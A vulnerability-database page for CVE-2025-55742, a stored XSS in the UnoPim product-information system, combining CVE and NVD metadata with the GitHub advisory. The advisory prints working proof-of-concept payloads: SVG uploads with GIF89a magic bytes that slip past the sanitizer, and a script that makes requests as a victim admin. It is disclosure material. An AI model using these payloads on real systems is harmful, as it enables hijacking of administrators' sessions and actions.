CVE-2025-55742 (GCVE-0-2025-55742)
Vulnerability from cvelistv5 – Published: 2025-08-21 15:36 – Updated: 2025-08-21 19:58
VLAI
EPSS
VEX
Title
UnoPim Stored XSS via SVG MIME/Sanitizer Bypass
Summary
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-08-21 19:58 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/unopim/unopim/security/advisor… | x_refsource_CONFIRM |
| https://github.com/unopim/unopim/commit/49d5f6ac4… | x_refsource_MISC |
| https://github.com/unopim/unopim/commit/b596021b5… | x_refsource_MISC |
| https://github.com/unopim/unopim/commit/b5e169e65… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-55742",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-08-21T19:58:21.621282Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-08-21T19:58:34.442Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "unopim",
"vendor": "unopim",
"versions": [
{
"status": "affected",
"version": "\u003c 0.2.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-21T15:36:07.475Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q"
},
{
"name": "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75"
},
{
"name": "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902"
},
{
"name": "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3"
}
],
"source": {
"advisory": "GHSA-xr97-25v7-hc2q",
"discovery": "UNKNOWN"
},
"title": "UnoPim Stored XSS via SVG MIME/Sanitizer Bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-55742",
"datePublished": "2025-08-21T15:36:07.475Z",
"dateReserved": "2025-08-14T22:31:17.684Z",
"dateUpdated": "2025-08-21T19:58:34.442Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2025-55742",
"date": "2026-10-03",
"epss": "0.0037",
"percentile": "0.28575"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "unopim",
"vendor": "unopim",
"versions": [
{
"status": "affected",
"version": "\u003c 0.2.1"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:webkul:unopim:*:*:*:*:*:*:*:*",
"matchCriteriaId": "1EFD0FCC-3460-4CCD-ACBD-6541CF5CD81C",
"versionEndExcluding": "0.2.1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1."
},
{
"lang": "es",
"value": "UnoPim es un sistema de gesti\u00f3n de informaci\u00f3n de productos (PIM) de c\u00f3digo abierto basado en el framework Laravel. En versiones anteriores a la 0.2.1, UnoPim conten\u00eda una vulnerabilidad de cross-site scripting almacenado mediante la omisi\u00f3n de SVG MIME/sanitizer en el endpoint /admin/settings/users/create. Esta vulnerabilidad se corrigi\u00f3 en la 0.2.1."
}
],
"id": "CVE-2025-55742",
"lastModified": "2026-06-17T09:42:09.123",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.1,
"impactScore": 5.9,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2025-55742",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-08-21T19:58:21.621282Z",
"version": "2.0.3"
}
}
]
},
"published": "2025-08-21T16:15:34.280",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-55742",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-08-21T19:58:21.621282Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-08-21T19:58:29.420Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "unopim",
"vendor": "unopim",
"versions": [
{
"status": "affected",
"version": "\u003c 0.2.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-21T15:36:07.475Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q"
},
{
"name": "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75"
},
{
"name": "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902"
},
{
"name": "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3"
}
],
"source": {
"advisory": "GHSA-xr97-25v7-hc2q",
"discovery": "UNKNOWN"
},
"title": "UnoPim Stored XSS via SVG MIME/Sanitizer Bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-55742",
"datePublished": "2025-08-21T15:36:07.475Z",
"dateReserved": "2025-08-14T22:31:17.684Z",
"dateUpdated": "2025-08-21T19:58:34.442Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
}
}
EUVD-2026-250398
European Vulnerability Database identifier assigned by ENISAReserved
2026-10-02 06:57
Assigner
ENISA
Alias of
a CVE record, shown under related vulnerabilities.
This identifier carries no description, severity or references of its own:
they belong to that CVE.
{
"assigner": "ENISA",
"date_reserved": "2026-10-02T06:57:25.694577+00:00",
"id": "EUVD-2026-250398"
}
FKIE_CVE-2025-55742
Vulnerability from fkie_nvd - Published: 2025-08-21 16:15 - Updated: 2026-06-17 09:42
Severity
8.0 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
4.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.8 (Medium) - CVSS:3.1/
Summary
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1.
References
{
"affected": [
{
"affectedData": [
{
"product": "unopim",
"vendor": "unopim",
"versions": [
{
"status": "affected",
"version": "\u003c 0.2.1"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:webkul:unopim:*:*:*:*:*:*:*:*",
"matchCriteriaId": "1EFD0FCC-3460-4CCD-ACBD-6541CF5CD81C",
"versionEndExcluding": "0.2.1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1."
},
{
"lang": "es",
"value": "UnoPim es un sistema de gesti\u00f3n de informaci\u00f3n de productos (PIM) de c\u00f3digo abierto basado en el framework Laravel. En versiones anteriores a la 0.2.1, UnoPim conten\u00eda una vulnerabilidad de cross-site scripting almacenado mediante la omisi\u00f3n de SVG MIME/sanitizer en el endpoint /admin/settings/users/create. Esta vulnerabilidad se corrigi\u00f3 en la 0.2.1."
}
],
"id": "CVE-2025-55742",
"lastModified": "2026-06-17T09:42:09.123",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.1,
"impactScore": 5.9,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2025-55742",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-08-21T19:58:21.621282Z",
"version": "2.0.3"
}
}
]
},
"published": "2025-08-21T16:15:34.280",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/unopim/unopim/commit/49d5f6ac4d5d9ef7d9cdfe01853234d531c55f75"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/unopim/unopim/commit/b596021b5a5e0656abe16c01ae0e84c95f9fe902"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/unopim/unopim/commit/b5e169e65725e0d80b6c79d57e62a25e1af6a3c3"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/unopim/unopim/security/advisories/GHSA-xr97-25v7-hc2q"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-XR97-25V7-HC2Q
Vulnerability from github – Published: 2025-08-21 14:25 – Updated: 2025-08-26 15:26
VLAI
Summary
UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality
Details
Summary
Affected Functionality: User creation
Endpoint: /admin/settings/users/create
Details
https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.
File containing is considered as svg and is sanitized:
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
Sanitization bypass using MIME type manipulation:
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
PoC
Upload POC.html as image.
File content:
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(document.cookie)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
I changed extension to .html because even though POC.svg successfully bypassed the sanitization.
When accessing the URL, the page didn't render as it should starts with <.
Since html doesn't have any such limitation we can access it.
Access the image URL to see the XSS popup.
Impact
Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )
Example
create a product behalf of victim.
John doe (default admin ) creates another admin ( victimadmin@test.com )
When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created.
// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.
Please see the detailed POC video for more details:
https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2
Extended POC for performing the action shown in video: POC.html:
<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';
// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');
// Define the headers
const headers = {
'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
'X-Requested-With': 'XMLHttpRequest',
'Accept': 'application/json, text/plain, */*',
'Origin': 'http://localhost:8000',
'Referer': 'http://localhost:8000/admin/catalog/products',
'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};
// Send the POST request
fetch(url, {
method: 'POST',
headers: headers,
body: formData,
credentials: 'include' // Include cookies in the request
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok ' + response.statusText);
}
return response.json(); // Assuming the response is JSON
})
.then(data => {
console.log('Success:', data);
})
.catch(error => {
console.error('Error:', error);
});
</script>
<html>
// make sure to update the cookies and CSRF tokens in the script to the attacker's.
Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.
Affected Version: 0.1.6
Severity
6.8 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "Packagist",
"name": "unopim/unopim"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55742"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-21T14:25:23Z",
"nvd_published_at": "2025-08-21T16:15:34Z",
"severity": "MODERATE"
},
"details": "### Summary\nAffected Functionality: User creation\nEndpoint: `/admin/settings/users/create`\n\n### Details\nhttps://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19\nSee the mimetype is checked for validation.\nMime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes\nfor e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.\n\nFile containing \u003csvg\u003e is considered as svg and is sanitized:\n\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.html\"\nContent-Type: image/svg+xml\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\" onload=\"alert(5)\"\u003e\n \u003crect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert(\u0027Hover\u0027)\"\u003e\u003c/rect\u003e\n \u003ctext x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" \u003eProof of Concept\u003c/text\u003e\n\u003c/svg\u003e\n```\n\n\nSanitization bypass using MIME type manipulation:\n\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.html\"\nContent-Type: image/svg+xml\n\nGIF89a\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\" onload=\"alert(5)\"\u003e\n \u003crect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert(\u0027Hover\u0027)\"\u003e\u003c/rect\u003e\n \u003ctext x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" \u003eProof of Concept\u003c/text\u003e\n\u003c/svg\u003e\n```\n\n\n\n### PoC\nUpload `POC.html` as image.\nFile content:\n```\nGIF89a\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"200\" height=\"200\" viewBox=\"0 0 200 200\" onload=\"alert(document.cookie)\"\u003e\n \u003crect width=\"200\" height=\"200\" fill=\"#3498db\" onmouseover=\"alert(document.domain)\"\u003e\u003c/rect\u003e\n \u003ctext x=\"50%\" y=\"50%\" font-size=\"20\" text-anchor=\"middle\" dy=\".3em\" fill=\"white\" \u003eProof of Concept\u003c/text\u003e\n\u003c/svg\u003e\n```\nI changed extension to .html because even though POC.svg successfully bypassed the sanitization. \nWhen accessing the URL, the page didn\u0027t render as it should starts with \u003c.\n\n\nSince html doesn\u0027t have any such limitation we can access it.\nAccess the image URL to see the XSS popup.\n\n\n### Impact\nSuppose another admin visits the image link, the attacker can perform any operation as the victim.\nThe session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )\n##### Example\n\u003e create a product behalf of victim.\n\nJohn doe (default admin ) creates another admin ( victimadmin@test.com )\nWhen the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. \n\n\n// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It\u0027ll be recorded as done by whoever visited the link.\nPlease see the detailed POC video for more details:\nhttps://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2\n\nExtended POC for performing the action shown in video:\nPOC.html:\n```\n\u003chtml\u003e\n\u003cscript\u003e\nconst url = \u0027http://localhost:8000/admin/catalog/products/create\u0027;\n\n// Create a FormData object to hold the form data\nconst formData = new FormData();\nformData.append(\u0027type\u0027, \u0027simple\u0027);\nformData.append(\u0027attribute_family_id\u0027, \u00271\u0027);\nformData.append(\u0027sku\u0027, \u0027Created-by-ADMIN-VICTIM888\u0027);\n\n// Define the headers\nconst headers = {\n \u0027X-XSRF-TOKEN\u0027: \u0027eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=\u0027,\n \u0027X-Requested-With\u0027: \u0027XMLHttpRequest\u0027,\n \u0027Accept\u0027: \u0027application/json, text/plain, */*\u0027,\n \u0027Origin\u0027: \u0027http://localhost:8000\u0027,\n \u0027Referer\u0027: \u0027http://localhost:8000/admin/catalog/products\u0027,\n \u0027Cookie\u0027: \u0027XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D\u0027\n};\n\n// Send the POST request\nfetch(url, {\n method: \u0027POST\u0027,\n headers: headers,\n body: formData,\n credentials: \u0027include\u0027 // Include cookies in the request\n})\n.then(response =\u003e {\n if (!response.ok) {\n throw new 